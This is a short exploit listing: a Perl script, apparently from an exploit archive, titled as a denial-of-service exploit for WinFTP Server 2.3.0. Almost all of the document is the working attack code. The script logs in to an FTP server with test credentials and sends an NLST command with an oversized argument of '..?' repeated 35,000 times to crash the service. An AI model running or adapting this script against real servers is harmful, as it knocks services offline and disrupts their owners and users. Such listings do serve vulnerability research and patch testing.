WinFTP Server 2.3.0 (NLST) Denial of Service Exploit

#!/usr/bin/perl ############ # # Simple Dos Crap for the winftpsrv.exe v.2.3.0 # by Julien Bedard # #################################### use Net::FTP; $wftpsrvaddr = "255.255.255.255"; $overflow = "..?" x 35000; $user = "test"; $pass = "test"; $port = 21; $ftp = Net::FTP->new("$wftpsrvaddr", Debug => 0) || die "Cannot connect to ftp server: $@"; $ftp->login($user,$pass) || die "Cannot login ", $ftp->message; $ftp->nlst($overflow); $ftp->quit;